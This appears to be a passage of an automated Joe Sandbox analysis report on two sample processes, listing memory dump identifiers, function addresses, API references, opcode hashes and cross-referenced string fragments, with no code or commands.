Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 22f498f717e0d368b0c7c483d2b81fa97139833e5a7a5d4d7c06b167cdcfbcdc
Instruction ID: aa231a0e191513e68ac0fe978e9582b4e07ed22d7e572ca69e000ef24b29736e
Opcode Fuzzy Hash: 22f498f717e0d368b0c7c483d2b81fa97139833e5a7a5d4d7c06b167cdcfbcdc
Instruction Fuzzy Hash: 60219E317002009BEB1C9B68DD8D76DF7E5DFE6310F204619E404DB7D1CB758680C262

Non-executed Functions

Function 00ADCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ADCC66

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 59331a186c7f007e6ab3cfed68c9a5f719f4b1474f554e7d5868b872744e98c4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 06B136729042869FDB15CF68C8817EEBBF5EF45360F54416BE956EB342DA348D01CB60

Function 00AA2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AA2F5F
__Mtx_unlock.LIBCPMT ref: 00AA2FCC
__Mtx_unlock.LIBCPMT ref: 00AA30F5
__Mtx_unlock.LIBCPMT ref: 00AA319B

Memory Dump Source

Source File: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.1836845284.0000000000AA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836869033.0000000000B02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836946382.0000000000B09000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836966900.0000000000B0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1836994151.0000000000B17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837105663.0000000000C79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837126713.0000000000C7B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837151789.0000000000C90000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837172213.0000000000C91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837237857.0000000000CA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837260663.0000000000CA5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837291414.0000000000CB8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837312690.0000000000CB9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837334034.0000000000CBA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837355126.0000000000CBB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837379272.0000000000CCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837401066.0000000000CD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837424446.0000000000CD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837476528.0000000000CFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837498421.0000000000CFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837522402.0000000000D05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837543382.0000000000D0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837563673.0000000000D0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837585892.0000000000D13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837604437.0000000000D14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837624142.0000000000D16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837646989.0000000000D25000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837668389.0000000000D2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837695619.0000000000D34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837713752.0000000000D35000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837733864.0000000000D3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837752627.0000000000D3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837775898.0000000000D4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837794922.0000000000D50000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837816265.0000000000D59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837837617.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1837970529.0000000000DA5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838480527.0000000000DA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838565346.0000000000DA9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838644652.0000000000DAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838667366.0000000000DB1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838691360.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1838713885.0000000000DC0000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction ID: 2006138df6e24091bb2f55e6794a36c4ba104da9d5fedeff528f2c740bbb32e6
Opcode Fuzzy Hash: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction Fuzzy Hash: C1A1D171A012059FEF21DF64C945BAAB7F8FF16324F048269F815D7282EB35EA14CB91

Analysis Process: c7af53ccad.exePID: 7796, Parent PID: 7564COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	1

Executed Functions

Function 051C44A8 Relevance: 234.6, Strings: 185, Instructions: 3396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R, xrefs: 051C5680
K, xrefs: 051C539C
S, xrefs: 051C48DE
K, xrefs: 051C5318
R, xrefs: 051C4B1A
S, xrefs: 051C6BBF
T, xrefs: 051C6843
R, xrefs: 051C6ED5
T, xrefs: 051C5C76
", xrefs: 051C7B20
#, xrefs: 051C6DBF
F, xrefs: 051C6BA1
Q, xrefs: 051C4B10
=, xrefs: 051C739E
c, xrefs: 051C75C4
", xrefs: 051C7BA4
Ba3B, xrefs: 051C4F36
T, xrefs: 051C7A98
#, xrefs: 051C4A90
=QB, xrefs: 051C570A
D, xrefs: 051C6C53
/UA, xrefs: 051C63B6
J, xrefs: 051C6C6D
", xrefs: 051C7336
(, xrefs: 051C60E2
3, xrefs: 051C7A72
P, xrefs: 051C4504
,, xrefs: 051C577C
S, xrefs: 051C536A
', xrefs: 051C47C8
<, xrefs: 051C7522
Ba3B, xrefs: 051C4539
:^B, xrefs: 051C7914
?, xrefs: 051C68D5
a, xrefs: 051C691F
F, xrefs: 051C77E2
?, xrefs: 051C5D08
R, xrefs: 051C4B7C
z.{B, xrefs: 051C44F4
., xrefs: 051C47BE
,, xrefs: 051C4C50
`, xrefs: 051C75A0
Q, xrefs: 051C5600
z.{B, xrefs: 051C66B1
=, xrefs: 051C771E
), xrefs: 051C517A
D, xrefs: 051C495C
2, xrefs: 051C7884
J, xrefs: 051C4972
&, xrefs: 051C66F3
T, xrefs: 051C45EE
F, xrefs: 051C534C
R, xrefs: 051C6294
H, xrefs: 051C6A03
K, xrefs: 051C4788
/UA, xrefs: 051C572E
Q, xrefs: 051C5E0E
D, xrefs: 051C76A6
_, xrefs: 051C764E
R, xrefs: 051C6E61
/UA, xrefs: 051C4C0E
B, xrefs: 051C67ED
?, xrefs: 051C466A
K, xrefs: 051C6024
-, xrefs: 051C7ADA
1, xrefs: 051C5B3E
, xrefs: 051C7017
C, xrefs: 051C76B2
,, xrefs: 051C7320
, xrefs: 051C4C8C
H, xrefs: 051C4768
?, xrefs: 051C50A6
&, xrefs: 051C4F0E
Y, xrefs: 051C529C
F, xrefs: 051C5FD4
a, xrefs: 051C46A8
B, xrefs: 051C45B3
8, xrefs: 051C7A66
R, xrefs: 051C56FE
H, xrefs: 051C5E36
U1nB, xrefs: 051C53C6
U1nB, xrefs: 051C604E
K, xrefs: 051C51D4
, xrefs: 051C57C2
ga,A, xrefs: 051C7C06
=QB, xrefs: 051C6392
jnXB, xrefs: 051C6EC9
D, xrefs: 051C53FE
), xrefs: 051C69CF
#, xrefs: 051C556A
;X"B, xrefs: 051C7BBE
', xrefs: 051C5220
Y, xrefs: 051C5F24
+, xrefs: 051C75EA
#, xrefs: 051C61F2
K, xrefs: 051C6A29
S, xrefs: 051C5FF2
jnXB, xrefs: 051C5674
1, xrefs: 051C4F22
J, xrefs: 051C5418
,, xrefs: 051C6FD1
6, xrefs: 051C7628
(, xrefs: 051C72EE
', xrefs: 051C6A75
., xrefs: 051C5E9C
1, xrefs: 051C452B
S, xrefs: 051C462E
T, xrefs: 051C77AC
Q, xrefs: 051C6E55
Q, xrefs: 051C4746
K, xrefs: 051C4908
B, xrefs: 051C5C20
), xrefs: 051C5E02
(, xrefs: 051C6CAF
ta[B, xrefs: 051C7BEC
., xrefs: 051C5214
[, xrefs: 051C4A2A
K, xrefs: 051C6B6D
P, xrefs: 051C5AFE
R, xrefs: 051C6386
J, xrefs: 051C60A0
U1nB, xrefs: 051C492C
[, xrefs: 051C6D47
E, xrefs: 051C7504
Q, xrefs: 051C5186
T, xrefs: 051C502A
R, xrefs: 051C4BE6
(, xrefs: 051C49AA
S, xrefs: 051C7AA4
B, xrefs: 051C4FE0
', xrefs: 051C5EA8
Q, xrefs: 051C6288
Ba3B, xrefs: 051C6723
,, xrefs: 051C6404
R, xrefs: 051C6F53
Ba3B, xrefs: 051C5B56
:, xrefs: 051C7C3C
R, xrefs: 051C560C
K, xrefs: 051C4898
H, xrefs: 051C51AE
F, xrefs: 051C48C4
), xrefs: 051C473C
=QB, xrefs: 051C6F5F
/UA, xrefs: 051C6F83
[, xrefs: 051C617A
), xrefs: 051C7450
%, xrefs: 051C7B98
[, xrefs: 051C54F2
%, xrefs: 051C7994
=, xrefs: 051C6717
S, xrefs: 051C506A
1, xrefs: 051C670B
Y, xrefs: 051C6AF1
F, xrefs: 051C772A
z.{B, xrefs: 051C5AE4
P, xrefs: 051C66CB
&, xrefs: 051C451D
&, xrefs: 051C5B26
S, xrefs: 051C688F
., xrefs: 051C6A69
S, xrefs: 051C5CC2
jnXB, xrefs: 051C62FC
K, xrefs: 051C5FA0
P, xrefs: 051C4EEC
=QB, xrefs: 051C4BF0
jnXB, xrefs: 051C4B72
K, xrefs: 051C7792
U1nB, xrefs: 051C6C1B
a, xrefs: 051C7736
z.{B, xrefs: 051C4ED6
K, xrefs: 051C6BF1
9, xrefs: 051C7AB0
$, xrefs: 051C75D0
, xrefs: 051C644A
Q, xrefs: 051C69DB
a, xrefs: 051C5D52
(, xrefs: 051C545A
=, xrefs: 051C4532
=, xrefs: 051C5B4A
a, xrefs: 051C50E4
K, xrefs: 051C5E5C
Y, xrefs: 051C4830
R, xrefs: 051C6308
D, xrefs: 051C6086
=, xrefs: 051C4F2C

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: b0ea707934cb76389daea28666649f080f13a8d7c34def7b90496dd5b96f4f25
Instruction ID: 6def6c867b8d3a7503052a3477aa40f6952ae0f1c0d3985bc0e409ab08cc80e8
Opcode Fuzzy Hash: b0ea707934cb76389daea28666649f080f13a8d7c34def7b90496dd5b96f4f25
Instruction Fuzzy Hash: 4C53A1B4D462698BEB60DF25D940BAAFBB1FB56300F00B1E99408B3344D7799AC5DF48

Function 051C44B8 Relevance: 234.6, Strings: 185, Instructions: 3391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

R, xrefs: 051C5680
K, xrefs: 051C539C
S, xrefs: 051C48DE
K, xrefs: 051C5318
R, xrefs: 051C4B1A
S, xrefs: 051C6BBF
T, xrefs: 051C6843
R, xrefs: 051C6ED5
T, xrefs: 051C5C76
", xrefs: 051C7B20
#, xrefs: 051C6DBF
F, xrefs: 051C6BA1
Q, xrefs: 051C4B10
=, xrefs: 051C739E
c, xrefs: 051C75C4
", xrefs: 051C7BA4
Ba3B, xrefs: 051C4F36
T, xrefs: 051C7A98
#, xrefs: 051C4A90
=QB, xrefs: 051C570A
D, xrefs: 051C6C53
/UA, xrefs: 051C63B6
J, xrefs: 051C6C6D
", xrefs: 051C7336
(, xrefs: 051C60E2
3, xrefs: 051C7A72
P, xrefs: 051C4504
,, xrefs: 051C577C
S, xrefs: 051C536A
', xrefs: 051C47C8
<, xrefs: 051C7522
Ba3B, xrefs: 051C4539
:^B, xrefs: 051C7914
?, xrefs: 051C68D5
a, xrefs: 051C691F
F, xrefs: 051C77E2
?, xrefs: 051C5D08
R, xrefs: 051C4B7C
z.{B, xrefs: 051C44F4
., xrefs: 051C47BE
,, xrefs: 051C4C50
`, xrefs: 051C75A0
Q, xrefs: 051C5600
z.{B, xrefs: 051C66B1
=, xrefs: 051C771E
), xrefs: 051C517A
D, xrefs: 051C495C
2, xrefs: 051C7884
J, xrefs: 051C4972
&, xrefs: 051C66F3
T, xrefs: 051C45EE
F, xrefs: 051C534C
R, xrefs: 051C6294
H, xrefs: 051C6A03
K, xrefs: 051C4788
/UA, xrefs: 051C572E
Q, xrefs: 051C5E0E
D, xrefs: 051C76A6
_, xrefs: 051C764E
R, xrefs: 051C6E61
/UA, xrefs: 051C4C0E
B, xrefs: 051C67ED
?, xrefs: 051C466A
K, xrefs: 051C6024
-, xrefs: 051C7ADA
1, xrefs: 051C5B3E
, xrefs: 051C7017
C, xrefs: 051C76B2
,, xrefs: 051C7320
, xrefs: 051C4C8C
H, xrefs: 051C4768
?, xrefs: 051C50A6
&, xrefs: 051C4F0E
Y, xrefs: 051C529C
F, xrefs: 051C5FD4
a, xrefs: 051C46A8
B, xrefs: 051C45B3
8, xrefs: 051C7A66
R, xrefs: 051C56FE
H, xrefs: 051C5E36
U1nB, xrefs: 051C53C6
U1nB, xrefs: 051C604E
K, xrefs: 051C51D4
, xrefs: 051C57C2
ga,A, xrefs: 051C7C06
=QB, xrefs: 051C6392
jnXB, xrefs: 051C6EC9
D, xrefs: 051C53FE
), xrefs: 051C69CF
#, xrefs: 051C556A
;X"B, xrefs: 051C7BBE
', xrefs: 051C5220
Y, xrefs: 051C5F24
+, xrefs: 051C75EA
#, xrefs: 051C61F2
K, xrefs: 051C6A29
S, xrefs: 051C5FF2
jnXB, xrefs: 051C5674
1, xrefs: 051C4F22
J, xrefs: 051C5418
,, xrefs: 051C6FD1
6, xrefs: 051C7628
(, xrefs: 051C72EE
', xrefs: 051C6A75
., xrefs: 051C5E9C
1, xrefs: 051C452B
S, xrefs: 051C462E
T, xrefs: 051C77AC
Q, xrefs: 051C6E55
Q, xrefs: 051C4746
K, xrefs: 051C4908
B, xrefs: 051C5C20
), xrefs: 051C5E02
(, xrefs: 051C6CAF
ta[B, xrefs: 051C7BEC
., xrefs: 051C5214
[, xrefs: 051C4A2A
K, xrefs: 051C6B6D
P, xrefs: 051C5AFE
R, xrefs: 051C6386
J, xrefs: 051C60A0
U1nB, xrefs: 051C492C
[, xrefs: 051C6D47
E, xrefs: 051C7504
Q, xrefs: 051C5186
T, xrefs: 051C502A
R, xrefs: 051C4BE6
(, xrefs: 051C49AA
S, xrefs: 051C7AA4
B, xrefs: 051C4FE0
', xrefs: 051C5EA8
Q, xrefs: 051C6288
Ba3B, xrefs: 051C6723
,, xrefs: 051C6404
R, xrefs: 051C6F53
Ba3B, xrefs: 051C5B56
:, xrefs: 051C7C3C
R, xrefs: 051C560C
K, xrefs: 051C4898
H, xrefs: 051C51AE
F, xrefs: 051C48C4
), xrefs: 051C473C
=QB, xrefs: 051C6F5F
/UA, xrefs: 051C6F83
[, xrefs: 051C617A
), xrefs: 051C7450
%, xrefs: 051C7B98
[, xrefs: 051C54F2
%, xrefs: 051C7994
=, xrefs: 051C6717
S, xrefs: 051C506A
1, xrefs: 051C670B
Y, xrefs: 051C6AF1
F, xrefs: 051C772A
z.{B, xrefs: 051C5AE4
P, xrefs: 051C66CB
&, xrefs: 051C451D
&, xrefs: 051C5B26
S, xrefs: 051C688F
., xrefs: 051C6A69
S, xrefs: 051C5CC2
jnXB, xrefs: 051C62FC
K, xrefs: 051C5FA0
P, xrefs: 051C4EEC
=QB, xrefs: 051C4BF0
jnXB, xrefs: 051C4B72
K, xrefs: 051C7792
U1nB, xrefs: 051C6C1B
a, xrefs: 051C7736
z.{B, xrefs: 051C4ED6
K, xrefs: 051C6BF1
9, xrefs: 051C7AB0
$, xrefs: 051C75D0
, xrefs: 051C644A
Q, xrefs: 051C69DB
a, xrefs: 051C5D52
(, xrefs: 051C545A
=, xrefs: 051C4532
=, xrefs: 051C5B4A
a, xrefs: 051C50E4
K, xrefs: 051C5E5C
Y, xrefs: 051C4830
R, xrefs: 051C6308
D, xrefs: 051C6086
=, xrefs: 051C4F2C

Memory Dump Source

Source File: 00000006.00000002.2391495073.00000000051C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51c0000_c7af53ccad.jbxd

Similarity

API ID:
String ID: $ $ $ $"$"$"$#$#$#$#$$$%$%$&$&$&$&$'$'$'$'$($($($($($)$)$)$)$)$+$,$,$,$,$,$-$.$.$.$.$/UA$/UA$/UA$/UA$1$1$1$1$2$3$6$8$9$:$;X"B$<$=$=$=$=$=$=$=QB$=QB$=QB$=QB$?$?$?$?$B$B$B$B$Ba3B$Ba3B$Ba3B$Ba3B$C$D$D$D$D$D$E$F$F$F$F$F$F$H$H$H$H$J$J$J$J$K$K$K$K$K$K$K$K$K$K$K$K$K$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$S$S$T$T$T$T$T$T$U1nB$U1nB$U1nB$U1nB$Y$Y$Y$Y$[$[$[$[$_$`$a$a$a$a$a$c$ga,A$jnXB$jnXB$jnXB$jnXB$ta[B$z.{B$z.{B$z.{B$z.{B$:^B
API String ID: 0-1587016709
Opcode ID: 71764f4836249538a57f5ec12c46c67da39f9d00cbce765bfba2f96573a3e242
Instruction ID: 35d4d0da910771eaed770cc3e1a182ced6b795ef88e4ebf4f42a59d57c42bbea
Opcode Fuzzy Hash: 71764f4836249538a57f5ec12c46c67da39f9d00cbce765bfba2f96573a3e242
Instruction Fuzzy Hash: C753A1B4D462698BEB60DF25D940BAAFBB1FB56300F00B1E99408B3344D7799AC5DF48

Function 051C0040 Relevance: 15.1, Strings: 10, Instructions: 2597COMMON

Download Yara Rule

Strings

$kq, xrefs: 051C2CE8
4'kq, xrefs: 051C101C
4'kq, xrefs: 051C1F00
4|pq, xrefs: 051C2E10
4|pq, xrefs: 051C2E2B
4'kq, xrefs: 051C2C96
4'kq, xrefs: 051C2CC6
(okq, xrefs: 051C0116
4'kq, xrefs: 051C2C3B
4'kq, xrefs: 051C0E94

Memory Dump Source

